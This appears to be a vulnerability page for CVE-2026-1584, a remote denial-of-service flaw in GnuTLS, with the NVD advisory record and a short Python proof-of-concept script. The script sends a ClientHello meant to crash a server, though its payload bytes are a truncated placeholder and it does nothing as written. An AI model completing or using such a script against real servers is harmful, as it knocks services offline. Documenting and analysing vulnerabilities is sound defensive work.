CVE-2026-1584

# PoC Concept for CVE-2026-1584 # This script attempts to trigger the NULL pointer dereference in GnuTLS # by sending a ClientHello with an invalid PSK binder. import socket import struct def send_malicious_tls_packet(host, port): # Simplified TLS record layer header content_type = 0x16 # Handshake version = 0x0303 # TLS 1.2 # Construct a minimal ClientHello with invalid PSK binder # Note: Actual exploitation requires precise byte crafting of the TLS structure. # This example demonstrates the connection logic. # Placeholder for malformed ClientHello bytes # In a real exploit, the PSK binder extension would be malformed. client_hello = b"\x01\x00\x00\xfc\x03\x03\x00\x01\x02\x03\x04\x05..." try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) s.send(client_hello) print(f"[+] Malicious packet sent to {host}:{port}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Usage: python poc.py <target_ip> <port> pass

{"cve": {"id": "CVE-2026-1584", "sourceIdentifier": "[email protected]", "published": "2026-04-09T18:16:44.047", "lastModified": "2026-05-03T14:16:26.763", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in gnutls. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted ClientHello message with an invalid Pre-Shared Key (PSK) binder value during the TLS handshake. This can lead to a NULL pointer dereference, causing the server to crash and resulting in a remote Denial of Service (DoS) condition."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:gnutls:-:*:*:*:*:*:*:*", "matchCriteriaId": "33A22858-21E1-479F-A9C4-AD2EFD059B93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:*", "matchCriteriaId": "87DEB507-5B64-47D7-9A50-3B87FD1E571F"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:7477", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-1584", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2435258", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}